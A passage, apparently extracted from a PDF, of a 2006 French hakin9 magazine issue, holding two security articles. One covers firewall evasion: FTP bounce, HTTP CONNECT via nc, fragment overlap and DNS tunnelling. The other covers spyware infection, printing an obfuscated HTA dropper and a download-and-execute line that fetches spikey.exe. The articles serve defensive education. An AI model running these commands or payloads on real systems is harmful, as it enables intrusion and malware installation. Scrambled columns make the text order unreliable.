serveur FTP fournit au client l'adresse IP et le port qu'il ouvre pour accepter la connexion d'établissement du canal de données. Si le serveur FTP est derrière un pare-feu, celui-ci ignore quel port le serveur FTP affectera au canal de données. Le pare-feu a alors le choix entre deux options d'adaptation du jeu de règles pour autoriser la communication : • • la première consiste à ouvrir tous les ports élevés pour les connexions entrantes vers le serveur FTP. Comme c'est particulièrement risqué, en particulier quand plusieurs serveurs FTP sont installés au sein du réseau, cette solution doit être écartée. La seconde est que le pare-feu analyse la communication entre le client et le serveur FTP. Quand le pare-feu intercepte une commande du type 227 Entering Passive Mode § pour l'adresse IP et le port définis dans le message. Avec une telle configuration, toutefois, une personne malveillante peut amener un pare-feu à ouvrir un port déterminé. Vu que les paramètres sont envoyés du serveur FTP au client via le canal de contrôle sous la forme IP,IP,IP,IP,OFort,OFaibl, l'attaquant peut tenter de forcer le serveur FTP à envoyer un message manipulé. C'est faisable en forçant l'envoi par le serveur d'un message d'erreur qui contient une chaîne passive. En effet, dans certains cas, quand un serveur FTP reçoit une commande inexistante, il répond par un message d'erreur qui reprend cette commande ; par exemple, cannot understand command AAAAAAAAAAA227 Entering Passive Mode 1,2,3,4,0,22. Si l'on s'arrange, par calcul, pour que la taille du message d'erreur soit trop grande pour être contenue dans un seul paquet IP et pour que la commande inexistante soit envoyée dans un premier paquet et la chaîne de commande passive dans le paquet suivant, il devient possible d'ouvrir un port supplémentaire sur le pare-feu. Quand le pare-feu lit le premier paquet avec la succession de caractères A , il se contente d'en autoriser le passage. Quand il lit la chaîne 227 Entering Passive Mode (192,168,200,23,0,22), il crée une règle d'autorisation temporaire qui permet au client FTP de se connecter au port 22 du serveur 192.168.200.23. Un mécanisme similaire de création dynamique de règles est également mis en œuvre pour d'autres protocoles, par exemple sqlnet d'Oracle. Scan de ports par rebond FTP Cette technique dénommée FTP bounce scanning en anglais (voir la Figure 4) utilise des caractéristiques du mode FTP actif pour scanner les systèmes derrière un pare-feu. En mode FTP actif, le serveur FTP établit le canal de données (IP,IP,IP,IP,OFort, envoyée par le serveur au client via le canal de contrôle, il active une règle temporaire qui autorise une connexion entrante OFaible) 62 hakin9 Nº 1/2006 Figure 4. Fonctionnement du scan de ports par rebond FTP www.hakin9.org Tromper les pare-feux Définir le proxy pour lynx : Fragmentation Chaque système d'exploitation tente de fixer la taille maximum d'un paquet IP en fonction de la taille des trames de la technologie utilisée pour le service sous-jacent de la couche 2. Dans le cas d'Ethernet, la taille maximale d'une trame est de 1518 octets. Ce paramètre de taille est appelé Maximum Transfer Unit (MTU). Dans la mesure où la trame Ethernet a elle-même besoin de 18 octets pour ses données d'en-tête, l'espace disponible pour le paquet IP est de 1500 octets. Durant son acheminement sur un réseau, un paquet IP peut transiter par un routeur qui est uniquement capable de gérer des paquets de taille plus réduite en raison de limitations inhérentes à la technologie employée pour le service de la couche 2. Pour pouvoir envoyer des paquets via ce routeur à la MTU inférieure à 1500 octets, le datagramme IP doit être divisé en une série de paquets de moindre taille. C'est ce qu'on appelle la fragmentation. À la réception, le serveur de destination doit collecter et assembler tous les fragments IP dans le bon ordre. Ce processus porte le nom de réassemblage. Le réassemblage requiert des informations qui permettent de réassembler les paquets dans le bon ordre et de ne pas mélanger les fragments provenant de connexions différentes au même serveur. Deux champs d'un en-tête IPv4 sont essentiels pour l'opération de réassemblage : le champ Décalage du fragment (Fragment offset) et le champ Identification (ID). Tous les fragments d'un datagramme auront un champ ID identique. C'est grâce à lui que la pile IP pourra identifier tous les paquets appartenant à un même datagramme. Quant au champ Décalage de fragment, il est utilisé pour le réordonnancement des paquets. Le premier fragment d'un paquet à une valeur de décalage de zéro. La valeur de décalage du fragment suivant est augmentée dans une proportion égale à la valeur de la longueur de la partie des données du fragment et il en est ainsi pour chaque fragment suivant. Le bit Fragments à suivre (More fragments ou MF) de l'en-tête IP indique si d'autres fragments suivent ou si le fragment courant est le dernier. en se connectant à un port ouvert du client FTP. Le serveur ignore quel est le port d'écoute du client pour le canal de données et le client doit donc lui fournir l'information via le canal de contrôle. Il le fait via la commande PORT. Comme pour la commande PASV, la syntaxe de la commande PORT est PORT IP,IP,IP,IP,OFort,OFaible ; par exemple, PORT 192,168,100,10,0,123. Une fois en possession de cette information, le serveur peut établir une connexion à 192.168.100.10:123 pour le transfert de données. Par définition, rien n'interdit que l'adresse IP soit l'adresse du client. Et, avec certains serveurs FTP, il est même possible d'utiliser une adresse IP quelconque. À la réception d'une commande telle que dir, le serveur tentera de se connecter au socket IP:port défini. Suivant l'état du port (ouvert ou fermé), le serveur renverra un code d'état indiquant un succès ou une erreur au client. En analysant le code d'état, l'attaquant pourra vérifier si des ports sont ouverts ou fermés. nmap supporte la technique du FTP bounce scanning, comme illustré ci-dessous : $ nmap -b \ anonymous@myftpserver:21 \ targetserver Rebond via un proxy HTTP Pour le filtrage du trafic HTTP, un pare-feu applicatif opère souvent, de manière transparente ou non, comme un proxy ou relais HTTP. Le problème, c'est que, mal configuré, un proxy HTTP peut autoriser l'accès à des serveurs internes. La manière la plus aisée de vérifier si un pare-feu est vulnérable aux attaques par rebond de proxy est de configurer l'interface externe du pare-feu comme un proxy HTTP et de voir s'il est possible de surfer sur les serveurs web internes. www.hakin9.org # http_proxy='http://myfirewall.de:8080' # no_proxy='localhost' # export http_proxy no_proxy Surfer sur des sites web internes : # lynx 192.168.100.20 Une particularité intéressante de cette technique est que même des adresses IP privées peuvent être accessibles de l'extérieur car l'intrus se connecte uniquement à l'adresse IP officielle du pare-feu et demande au démon HTTP de se connecter à la cible. Le démon HTTP connaissant également les adresses IP privées internes, il peut fournir la connexion. Une autre opération à tenter est d'essayer d'accéder à différents ports des serveurs internes : # lynx 192.168.100.20:25 Notez que certains navigateurs, Mozilla Firefox par exemple, bloquent par défaut ces requêtes du côté client. Par conséquent, nous conseillons de tenter l'opération avec netcat ou telnet. HTTP-Connect La méthode HTTP CONNECT est normalement utilisée pour le tunneling de trafic SSL au travers d'un serveur relais (proxy). Le proxy se contente par conséquent d'ouvrir une session TCP entre lui-même et le serveur cible et de transmettre les données du client. Malheureusement, certains pare-feux ne vérifient pas la validité des IP et ports de destination et ouvrent ainsi un large trou de sécurité au plus grand profit des pirates. Un pare-feu doit être installé de telle manière que les ports d'administration ne sont disponibles qu'à partir d'interfaces internes. Cela permet d'empêcher des pirates d'exécuter un exploit contre, par exemple, le démon de login, ou de percer les identifiants d'un pare-feu. La vulnérabilité CONNECT permet à un intrus d'établir une connexion à l'interface d'administration à partir de réseaux extérieurs : hakin9 Nº 1/2006 63 Fiche technique # nc firewall 8080 CONNECT 127.0.0.1:22 HTTP/1.0 SSH-1.99-OpenSSH_3.8p1 La méthode d'attaque CONNECT permet aussi à un intrus d'établir des connexions à des systèmes internes. Et, à l'instar des attaques du type rebond via un proxy, il est possible d'atteindre des systèmes internes utilisant une adresse IP privée : # nc firewall 8080 CONNECT 10.1.1.100:25 HTTP/1.0 220 mailserver ESMTP Vous pouvez cependant constater que tester la vulnérabilité d'un parefeu aux attaques CONNECT n'a rien de compliqué. La même technique peut être employée pour obtenir des informations sur des plages d'adresses IP internes et pour exécuter un scan derrière le pare-feu, comme dans le cas d'une attaque du type scan des ports par rebond FTP. Notons que des pare-feux renommés comme Checkpoint FW-1 ou Astaro Secure Linux étaient vulnérables aux attaques HTTP-Connect par le passé. Attaque par chevauchement de fragment (overlapping fragment) L'objectif d'une attaque du type overlapping fragment est de modifier des données d'en-tête UDP ou TCP après que le pare-feu a pris une décision fondée sur l'inspection du premier fragment. Quand une communication basée sur TCP ou UDP est fragmentée, seul le premier fragment IP contient les données d'en-tête TCP/UDP telles que le port de destination. Supposons qu'une règle de pare-feu autorise les connexions au port 80/TCP d'un serveur web mais refuse les connexions au port 22/TCP, port qui est affecté au démon Secure Shell sur ce serveur. Dans ce cas, il est possible d'exécuter une attaque overlapping fragment. Un intrus va fragmenter un datagramme IP (voir l'Encadré Fragmentation) et fixer le port de destination dans l'en-tête TCP à 80. Le fragment arrive au pare-feu et satisfait la règle Autoriser. Comme tous les fragments IP d'un datagramme ont la même valeur d'IP et d'ID, le pare-feu laisse passer tous les fragments suivants dont l'ID, l'IP source et l'IP de destination sont identiques à celles du premier fragment. Le décalage du premier datagramme est de zéro et la fin de ce fragment est, par exemple, à l'octet 128. La valeur de décalage du deuxième fragment devrait être immédiatement supérieure à l'octet 128. Si elle est inférieure à 128, une partie du premier fragment sera récrite. Cela s'appelle un décalage négatif. Figure 5. Réassemblage normal des paquets TCP Figure 6. Attaque par chevauchement de fragment – chevauchement d'entête 64 hakin9 Nº 1/2006 www.hakin9.org Si le pirate calcule un décalage du second fragment tel que le port de destination spécifié dans l'en-tête TCP du premier fragment soit récrit, il est possible de modifier le port de 80 à 22 (voir les Figures 5 et 6). Au terme du réassemblage, la connexion qui sera établie le sera au port 22/TCP et non 80/TCP sur le pare-feu ou la machine cible. Le pare-feu a été contourné avec succès. Il existe plusieurs implémentations différentes des attaques par fragmentation dirigées contre un pare-feu. Reportez-vous à l'Encadré Sur Internet pour un lien vers un exemple intéressant d'attaque contre un pare-feu IPFilter sur BSD. Attaques par tunneling Des pirates peuvent souhaiter communiquer au travers d'un pare-feu pour installer, par exemple, un cheval de Troie ou une porte dérobée sur un système interne, qui communiquera ensuite avec le système de l'intrus. L'intrus envoie des commandes au cheval de Troie et souhaite que les résultats de ces commandes lui soient renvoyés. Si les règles de filtrage du pare-feu autorisent uniquement des protocoles standards comme HTTP, FTP ou DNS pour le trafic sortant, le pirate devra utiliser un de ces protocoles pour la communication. Malheureusement pour le pirate, certains pare-feux récents appliquent un contrôle de la syntaxe RFC au trafic de niveau applicatif. Par conséquent, si la communication n'est pas conforme aux RFC, le pare-feu la bloquera. Dans ce cas, un pirate informé exécutera des attaques par tunneling au moyen d'outils qui ne violent pas les définitions RFC et qui encapsulent les données dans des commandes de protocole parfaitement valables. En outre, si les données encapsulées sont encodées ou chiffrées en ASCII 7 bits, la détection de l'intrusion par le pare-feu s'avère presqu'impossible. De bons exemples de cela sont les tunnels basés sur HTTP ou DNS. Tromper les pare-feux À propos de l'auteur Oliver Karow est un Principal Security Consultant chez un fournisseur de solutions de sécurité. Il s'intéresse en particulier aujourd'hui aux pare-feux, à la technologie IDS/IPS, aux audits de sécurité et aux tests d'intrusion. Oliver poursuit en outre un cursus informatique dans le cadre de l'enseignement à distance d'une université allemande. Il travaille dans le secteur informatique depuis 1994 et s'est spécialisé dans les questions de sécurité informatique depuis 1999. Si des outils de tunneling HTTP conforme aux RFC comme rwwwshell (voir l'Encadré Sur Internet) sont relativement aisés à mettre en œuvre et, dès lors, disponibles depuis longtemps, mettre en œuvre un tunneling efficace basé sur le protocole DNS est un peu plus complexe. Dans le cas de DNS, une technique intéressante de tunneling, basée sur une méthode nommée namedropping (entre autres), exploite le protocole NSTX (Name Server Transport Protocol ). Elle requiert un client et un serveur DNS conformes à ce protocole, le serveur devant avoir autorité sur un domaine (voir l'Encadré Sur Internet). Supposons que l'attaquant a autorité pour le domaine baddomain.com et possède un système compromis au sein d'un réseau protégé par un pare-feu. Il veut pouvoir commander le système à distance, depuis l'extérieur, via l'envoi de commandes et la réception de réponses. Si le client souhaite transférer des données au serveur, il adresse une Tableau 5. Quelques exemples de vulnérabilités des pare-feux Produit Vulnérabilité CheckPoint Secure Platform Vulnérabilité de contournement des règles de pare-feu CheckPoint VPN-1 Dépassement de tampon ASN.1 CheckPoint VPN-1 Dépassement de tampon ISAKMP Cisco IOS Firewall Dépassement de tampon proxy d'authentification Cisco Catalyst 6500/6700 Vulnérabilité de contournement de liste ACL du module FW Services requête à un nom d'hôte forgé, par exemple b2xpdmVyIGthcm93.bad domain.com où b2xpdmVyIGthcm93 sont les données chiffrées. Comme le serveur de noms interne n'a pas autorité pour ce domaine, il passera la requête au serveur NSTX de l'intrus. Le serveur de noms de ce dernier est alors en mesure d'extraire et de décoder le nom d'hôte de la requête. Pour pouvoir renvoyer des données au client, le serveur de noms du pirate placera les données dans un enregistrement de ressource TXT. Cet enregistrement est un enregistrement à texte libre qui peut être utilisé à différentes fins, par exemple pour la publication de clés publiques PGP. Il est dès lors difficile pour un pare-feu de faire la distinction entre un enregistrement TXT licite et le message masqué d'un cheval de Troie. Pour plus d'information sur les attaques par tunneling, nous vous recommandons de lire l'article Firewall Piercing (voir l'Encadré Sur Internet). Sur Internet • • • • http://cert.uni-stuttgart.de/archive/bugtraq/2001/04/msg00121.html – Thomas Lopatic, A fragmentation attack against IP Filter, http://www.ccc.de/congress/2004/fahrplan/files/221-firewallpiercing _21c3.pdf – Maik Hensche & Frank Becker – Firewall Piercing – Creative exploitation of valid Internet protocols, http://www.thc.org/download.php?t=r&f=rwwwshell-2.0.pl.gz – la mise en œuvre de tunnel HTTP, rwwwshell, http://www.csnc.ch/static/services/research/dnstunnel.html – la mise en œuvre de tunnel DNS. www.hakin9.org Vulnérabilités des pare-feux La sécurité d'un réseau est directement tributaire de celle du pare-feu qui l'isole. Si le pare-feu est lui-même vulnérable aux attaques comme les attaques par débordement de tampon, le contourner ne pose aucun problème puisque que le pirate peut alors reconfigurer le parefeu pour ses besoins propres. S'il s'agit d'une vulnérabilité qui donne à l'attaquant un shell de commande à distance, toutes les attaques contre des systèmes internes proviendront de l'adresse IP du pare-feu. Enfin, si la protection du réseau repose sur un seul pare-feu, le réseau ne dispose plus d'aucune protection. Or il est malheureusement très fréquent que l'on identifie des vulnérabilités autorisant l'exécution de code à distance dans des solutions de pare-feux renommées. Jetez un simple coup d'œil sur le site http:// www.securityfocus.com/ pour disposer d'un aperçu des vulnérabilités existantes (voir le Tableau 5). Conclusion Il existe de nombreuses manières de contourner les pare-feux. Certaines sont liées aux limitations du produit, d'autres à une mauvaise configuration voire à des vulnérabilités du produit lui-même. Toutefois, un déploiement de pare-feux à plusieurs niveaux associé à l'audit régulier de l'environnement de protection par pare-feu peuvent contribuer à assurer une solide protection des réseaux internes. l hakin9 Nº 1/2006 65 Méthodes d'infection par un logiciel espion Fiche technique Christiaan Beek Degré de difficulté L'objectif essentiel d'un logiciel espion consiste à recueillir des renseignements démographiques et d'emploi ainsi que des données privées. Des programmes de ce type sont généralement intégrés en tant que composant caché ou téléchargés involontairement depuis Internet. Regardez donc quelles sont les méthodes utilisées par les programmes de ce type pour infecter les systèmes Windows et la manière dont on peut s'en protéger. L es résultats récents provenant d'une étude effectuée par des organisations reconnues (CSI/FBI), démontrent que presque 80% des systèmes informatiques sont infectés par des logiciels espions. Le nombre des logiciels espions augmente sans cesse car leurs concepteurs se servent de plus en plus des technologies récentes. Comme il s'agit d'affaires très lucratives, la criminalité organisée investit dans les gens et dans les technologies. Les organisations ont du mal à se protéger contre cette menace. D'un côté, elles doivent implémenter une solution pour prévenir des infections et d'un autre, cette solution doit aussi être capable de nettoyer les systèmes informatiques déjà infectés. Jetez un coup d'œil sur les techniques utilisées actuellement par les logiciels espions pour infecter des systèmes Windows. Chaque technique décrite est accompagnée d'une solution permettant de détecter et d'éviter une infection et de supprimer la menace. Il ne faut pas considérer cet article comme un compendium complet contre les logiciels espions mais plutôt comme un aperçu de plusieurs techniques intéressantes développées en même temps que les logiciels espions ; c'est aussi un 66 hakin9 Nº 1/2006 aperçu des méthodes manuelles de protection contre ces techniques car les outils automatisés ne sont parfois pas capables d'aider les utilisateurs dans cette tâche. Object Data Tags Les balises Object Data Tags spécifient les données et les paramètres pour les objets insérés dans les documents HTML et le code à utiliser pour afficher/manipuler ces données. Un intrus distant pourrait créer un lien URL en utilisant les Object Data Tags pour les exécuter sur le navigateur Web de la victime au sein du Cet article explique... • • quelles techniques sont utilisées par un logiciel espion pour infecter des systèmes, comment découvrir une infection, supprimer la menace et se protéger contre ce logiciel dans l'avenir. Ce qu'il faut savoir... • • www.hakin9.org connaître HTML/JavaScript, avoir de l'expérience en programmation. Méthodes d'infection par un logiciel espion Types de logiciels espions Fenêtres pop-up Les fenêtres pop-up sont utilisées pour forcer l'utilisateur à cliquer dessus. Elles peuvent se trouver sur des sites Web, dans les courriels, elles peuvent accompagner d'autres logiciels ou avoir une forme d'une barre d'outils installée comme des plug-ins pour Internet Explorer. De nombreux logiciels peer-to-peer contiennent des logiciels de ce type. À titre d'exemple, KaZaA inclut GAIN (Gator) et Cydoor. GAIN surveille les habitudes de surf sur Internet et télécharge des annonces depuis Internet pour les afficher ensuite sur KaZaA. Cydoor télécharge une liste importante des adresses URL lors de l'installation de KaZaA et les affiche ensuite lorsque vous surfez sur Internet. Un autre type de logiciels espions pop-up se sert du service Messenger sous Windows et affiche des annonces textes (voir la Figure 1). Les utilisateurs de Windows NT/XP/200x peuvent facilement éviter ces désagréments en désactivant le service Messenger. Figure 1. Une annonce pop-up Messenger typique Composeurs Les composeurs (en anglais dialers) modifient généralement sans vous avertir les paramètres de connexion du modem. Ainsi, au lieu d'appeler un fournisseur Internet local, l'appel de l'utilisateur est dirigé vers une connexion internationale très chère. Ils servent principalement comme une méthode de paiement ou un accès aux sites Web avec des jeux ou un contenu adulte, mais pour l'installation de navigateurs, l'autorisation de l'utilisateur est généralement nécessaire (voir la Figure 2). Pirates de navigateurs Les pirates de navigateurs (en anglais browser hijackers) modifient les paramètres des navigateurs sans l'autorisation de l'utilisateur. En général, la page d'accueil et les pages de recherche sont touchées et des signets sont également ajoutés. ISTbar peut être un exemple d'une collection désagréable des pirates de navigateurs. Il installe la barre d'outils Tinybar et il est également capable d'installer d'autres parasites dont certains affichent des fenêtres pop-up porno. Cookies espions Les cookies, utilisés le plus souvent de manière légitime pour permettre une identification de l'utilisateur lorsqu'il revient dans un site Web, peut également servir de logiciel espion. Certains sites Web utilisent des cookies pour tracer les habitudes de surf. Il s'agit le plus souvent des cookies tierce partie : les cookies qui ne sont pas envoyés par le site Web visité (souvent via des bannières publicitaires). Heureusement, les cookies ne sont pas dangereux : ils ne peuvent pas être utilisés pour propager un autre code. Des sociétés comme DoubleClick, lancent les bannières à partir de ses propres serveurs et emploient ces serveurs pour établir et lire les cookies. DoubleClick est ainsi capable de détecter quels clients visitent quels sites Web lorsque leurs bannières sont servies. contexte de sécurité du site hébergeur, une fois l'utilisateur a cliqué sur le lien. L'intrus explore cette vulnérabilité en créant une page Web malveillante, en crackant une page Web existante ou en l'envoyant à une victime comme un texte HTML dans un courriel. Un exemple pratique Regardez le Listing 1 qui contient une partie d'un flux de données capturées via une alerte IDS. Ce code extrêmement flou tente en réalité d'utiliser JavaScript afin de créer un fichier q706634.exe sur la partition C:\ du système. Le nom du fichier ressemble étonnamment à un fichier d'actualisation de Microsoft. Si vous jetez un coup d'œil sur la partie fonctionnelle, vous remarquerez que les données sont encryptées et enregistrées dans ce fichier. L'exécutable se lance alors et un composant ActiveX est également inséré dans ce code. Il ouvre le fichier sur l'ordinateur cible. Une légère modification de la fonction du script original vous permet d'écrire le contenu décodé et de découvrir www.hakin9.org Figure 2. Utilisateurs autorisent souvent l'installation de composeurs ce qu'il fait. Le Listing 2 contient des fragments de sortie. Le fichier q706634.exe est un exécutable Win32 de longueur de 32367 octets. Après l'avoir analysé à l'aide de OllyDbg, vous saurez davantage ce que ce fichier est capable de faire. Lorsque spikey.exe est téléchargé et exécuté, il se copie dans le répertoire WINDOWS\System32 sous le nom de hddwizz.exe et il installe une clé pour se lancer dans HKLM\Software\ Microsoft\Windows\Currentversion\ Run. Les fichiers DLL sont également installés dans le même répertoire. Le programme fonctionne alors comme un enregistreur de frappes (en anglais keylogger) et envoie les données au moyen de courriels, qui sont ensuite supprimés. L'auteur de cet article a réussi à capturer plusieurs logiciels espion/ chevaux de Troie de ce type au moyen de pots de miel (en anglais honeypots). Ils se servaient des mêmes astuces d'obfuscation et de décodage et travaillaient en utilisant hakin9 Nº 1/2006 67 Fiche technique Listing 1. Données capturées via une alerte IDS HTTP/1.1 200 OK Date: Mon, 18 Apr 2005 12:27:30 GMTServer: § Apache/1.3.33 (Unix) mod_deflate/1.0.21 Connection: close Transfer-Encoding: chunked Content-Type: application/hta <script language=jscript>try{§ self.moveTo(5000,5000);function b2u(c){var x=""; § for(w=0;w<c.length;){h=Array();for(e=0;e<8;e++){h[e]= § "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" § .indexOf(c.charAt(w++));}x+=String.fromCharCode(h[0]<<10|h[1]§ <<4|h[2]/4,h[2]<<14|h[3]<<8|h[4]*4|h[5]>4,h[5]<<12|h[6]<<6|h[7]);}return x;}g=newActiveXObject("Scripting.FileSystemObject");fname=§ 'c:\\q706634.exe';t=g.CreateTextFile(fname,true);t.Write('MZ'); § t.Close();t=g.OpenTextFile((fname),8,false,true);t.Write(b2u( § "””hkjhfksjdyuiuywejkrwje!`?{}{jiihfsdfhhdhfd[]] § [kjsdjkajsjkjsd)(qyqm,mniuajkalkdfhksdkjfds78e9893jka89j23o0jl& § *&kjkjskjdkdf&*jdjfsf98slkdkjq9jaoiu (...) des techniques IFRAME et de redirection. Comment détecter/éviter/ supprimer ? Afin d'éviter une telle infection, il est nécessaire d'utiliser les méthodes suivantes : • • • • 68 Mise à jour régulière de Windows – installation de correctifs. ACL (Access Control Lists) dans les répertoires C:\WINDOWS et C:\WINDOWS\system32 pour empêcher les utilisateurs d'installer le logiciel dans ces endroits. ACL sur les clés de registre suivantes pour empêcher les utilisateurs d'ajouter ces valeurs (Définir la Valeur – Set Value ou Créer une sous-clé – Create Subkey) : • HKEY_LOCAL_MACHINE\ Software\Microsoft\ Windows\ CurrentVersion\ Run, • HKEY_LOCAL_MACHINE\ Software\Microsoft\ Windows\ CurrentVersion\ RunOnce, • HKEY_LOCAL_MACHINE\ Software\Microsoft\ Windows\ CurrentVersion\ RunServices, • HKEY_LOCAL_MACHINE\ System\CurrentControlSet\ Services. Utiliser le logiciel d'intégrité de fichiers, par exemple Tripwire. hakin9 Nº 1/2006 Au cas de l'infection, la plupart des logiciels anti-spyware et anti-virus sont capables de détecter et de nettoyer le désordre. Il est toutefois recommandé d'effectuer plusieurs vérifications à l'aide de différents types de logiciels anti-spyware. Hitman Pro (voir l'encadré Sur Internet) est particulièrement recommandé ici. Persistent Identification Elements La société United Virtualities a développé cette nouvelle technique. D'après son site Web, Persistent Identification Element (PIE) est balisé au navigateur de l'utilisateur et apporte un ID unique comme le fait un codage de cookie traditionnel. Les PIE ne peuvent toutefois être supprimés par aucun programme anti-spyware ou autre programme de suppression de logiciels malveillants ou publicitaires disponibles. Listing 2. Fragments de sortie d'une version modifiée du lien de logiciel espion <textarea id="Main_HTA"> <HTA:APPLICATION id=DSD Applicationname="DSD" showintaskbar=NO caption=YES <IFRAME name="icounter" src="about:blank" widh=8 height=8></IFRAME> <SCRIPT language="VBSCRIPT"> If Instr(Exploit_Path,"cgi-bin"<>0 then CGI_SCRIPT_PATH=Exploit_PATH & "spycheck.cgi" WinOS=Get_Win_Version Select Case WinOS Case "NT" Call Download_and_Execute (Trojan_Path,Exename, " ",1) Trojan_Path="http://www.isendyousomenicespyware.com/spikey.exe" Listing 3. Un exemple d'un Local Shared Object // Créer un SO mySO = SharedObject.getLocal("sticky spyware"); // Ajouter certaines données importantes mySO.data.stickAround = "uniqueID=w@nnaspy0nyoursurfing234589712"; // enregistrer SO sur un disque mySO.flush(); // supprimer un SO delete mySO; // Recharger un SO mySO = SharedObject.getLocal("test"); // Scanner le SO à la recherche des valeurs for (a in mySO.data) { trace(a+": "+mySO.data[a]); } www.hakin9.org § Méthodes d'infection par un logiciel espion Ils sont même capables de fonctionner avec les paramètres de sécurité par défaut de Internet Explorer. United Virtualities a créé deux types de PIE : • • AccuCounter PIE, un replaçant de cookie qui calcule les utilisateurs uniques avec exactitude, Backup PIE, un PIE qui non seulement calcule les utilisateurs uniques mais il reconnaît aussi le visiteur et reconstitue les cookies supprimés. Figure 3. Modifier les paramètres Flash pour éviter les PIE Comment cela fonctionne ? La plupart des navigateurs, comme Firefox et Internet Explorer, se servent d'un modèle de zone pour gérer les cookies. Les utilisateurs finals peuvent accepter, refuser ou supprimer les cookies. Pour détourner ces restrictions, on se sert de Local Shared Objects (LSO). Ces Local Shared Objects sont développés par Macromedia pour être utilisés avec son player Flash. Ces petits fichiers sont installés par un plug-in JavaScript ou Flash directement dans le système. Ce type de fichier porte l'extension .sol et peut se trouver dans des endroits divers, en général dans un sous-répertoire de Documents and Settings\{User Name}\Application Data\Macromedia\Flash Player\. Après l'installation, ils agissent comme des cookies ordinaires. Unitied virtualities se sert des Local Shared Objects et leur donne un numéro d'identification unique. Ce numéro permet de suivre facilement un utilisateur final sur Internet. Cette technique permet de chercher une sauvegarde dans Flash et de reconstituer le cookie lorsqu'un site Web découvre son absence. Figure 4. Fichiers avec l'extension .sol contenant les Local Shared Objects Un exemple pratique Puisque United Virtualities ne publie pas le code, on essaie d'en reconstruire une partie en se basant sur les notions utilisées. Macromedia fournit une bonne documentation concernant la réalisation des Local Shared Objects. Cette documentation vous permet de créer le code, comme celui du Listing 3. Figure 5. Une liste de sites Web qui stockent les LSO sur des ordinateurs locaux www.hakin9.org hakin9 Nº 1/2006 69 Fiche technique sont pas seulement originaires des annonces mais ils peuvent être présents pour une multitude de raisons légitimes. Vous pouvez être tentés d'arrêter la traçabilité en supprimant tout simplement les fichiers .sol mais il existe une meilleure façon. Faites un tour sur le site suivant : http:// w w w.macromedia.com /suppor t / documentation/en/flashplayer/help/ settings_manager07.html. Une application Flash présentée sur cette page propose une liste de sites Web qui utilisent les LSO (voir la Figure 5). À présent, pour supprimer facilement les éléments, vous effacez le site Web du Settings Manager. Figure 6. Comment fonctionnent des BHO ? Comme vous pouvez le constater, il est très facile de créer des LSO. Si vous les combinez avec JavaScript dans une page Web, vous pouvez alors les insérer facilement dans le navigateur d'un utilisateur. Comment détecter/éviter/ supprimer ? Il est aussi facile d'éviter les PIE que de modifier les paramètres Flash globaux. Pour savoir comment utiliser le Gestionnaire de paramètres (en anglais Settings Manager), il est recommandé de visiter le site http:// w w w.macromedia.com /suppor t / d o c u m e n ta t i o n / e n / f las hp laye r / help/settings_manager.html. Il est possible de passer directement à la modification des paramètres à partir de cette page. Il existe de nombreuses pages où vous pouvez ajuster les paramè- tres sur votre ordinateur local. Tout d'abord sélectionnez Global Security Settings Panel à gauche, puis empêchez tout accès des sites Web à votre ordinateur ou tout stockage de données sur votre ordinateur, pour ce faire cliquez sur le bouton Always deny. Il est recommandé de procéder de la même manière dans le panel Global Privacy Settings. Afin de détecter les LSO, cherchez tout simplement les fichiers portant l'extension .sol (voir la Figure 4). Les résultats démontrent clairement que certaines entrées trouvées proviennent des annonces Web. Vous pouvez toutefois remarquer que l'utilisation de nombreux cookies sont légitimes. D'autres membres de la suite Flash MX peuvent également se servir des Local Shared Objects. Vous pouvez toutefois remarquer que les fichiers persistants ne Figure 7. BHODemon – logiciel de gestion des BHO 70 hakin9 Nº 1/2006 www.hakin9.org Browser Helper Objects Les Browser Helper Objects (objets d'aide à la navigation) vous permettent d'écrire des composants (et plus précisément, les composants inprocess Component Object Model, COM) qu’Internet Explorer chargera à chaque démarrage. Ces objets s'exécutent dans le même contexte de mémoire que le navigateur et peuvent effectuer n'importe quelle action sur les fenêtres et modules disponibles. Une application BHO pourrait accéder au menu et à la barre d'outils du navigateur et effectuer des modifications, créer des fenêtres pour afficher des informations supplémentaires sur la page actuellement visitée. Elle est également capable d'installer des crochets pour surveiller les messages ainsi que les actions. Les barres d'outils de Goo- Méthodes d'infection par un logiciel espion Listing 4. Analyse d'une technique de piratage Winsock Start Page Software\Microsoft\Internet Explorer\Main srchost_table_size plugins data_timeout time_offset data.webhancer.com:80 dc_servers secondary.webhancer.com:80 sec_auth_server prime.webhancer.com:80 prim_auth_server HTTP/1.0 Listing 5. Davantage de code trouvé à l'aide de Malcode Analyst Pack Figure 8. LSP dans la chaîne WinSock gle et Yahoo sont des exemples des applications légales qui se servent de BHO. Comment cela fonctionne-t-il ? Un BHO est lié à la fenêtre principale du navigateur. En pratique, une nouvelle instance de l'objet se crée dès qu'une nouvelle fenêtre du navigateur se crée. Toute instance de BHO vie et meurt avec l'instance du navigateur. Les BHO n'existent que dans Internet Explorer, version 4.0 ou supérieure. Dans sa forme la plus simple, un BHO est un serveur COM in-process (en processus) enregistré dans une certaine clé de registre. Au démarrage, Internet Explorer cherche cette clé et charge tous les objets dont les CLSID y sont stockés. Le navigateur initialise l'objet et lui demande une certaine interface. Si cette interface est trouvée, Internet Explorer se sert des méthodes fournies pour transmettre son pointeur IUnknown à l'ob- 46F021DC-CB81-4acc-BA1B-9E1B440020D4er 127.0.0.1 localhost 912B4D64-E5A5-4bfc-9808-4CF149F2F965-31 951B13F8-F40D-4c56-BD57-909A968F918B-31 4851F512-58B1-446a-85A0-D944078E9A7D-31 B317949A-EE2E-48e6-BE41-CD5744F706D2-31 6A803934-0F46-489a-B02A-8A6DDFE30BB0-31 74F5FD53-368F-4e0d-805B-4A983826EF91-31 default %s:%d RegWhWs2Lsp \Programs\webhdll.dll jet d'aide. Puisque les BHO ont un accès sans restrictions au modèle d'événement de Internet Explorer, certaines formes de logiciels malveillants ont été également créées comme des BHO. fichier principal de plug-in associé au BHO (généralement, il s'agit d'un fichier .DLL ou .OCX placé dans le répertoire System de Windows) pour supprimer manuellement le fichier. Un exemple pratique Afin de lier un programme à l'implémentation WinSock2, on se sert des LSP. LSP signifie Layered Service Provider. Puisque les LSP fonctionnent comme une chaîne lorsque WinSock est utilisé, les données sont également transportées via chaque LSP dans une chaîne. Le logiciel espion utilisant la technique de piratage de WinSock, déroute le trafic réseau vers par exemple des sites avec un contenu pour les adultes. WebHancer est un exemple de programme malicieux. Le code d'un BHO étant assez volumineux, nous vous recommandons de jeter un coup d'œil sur un exemple, un projet légitime réalisé à l'aide de ces techniques : http:/ 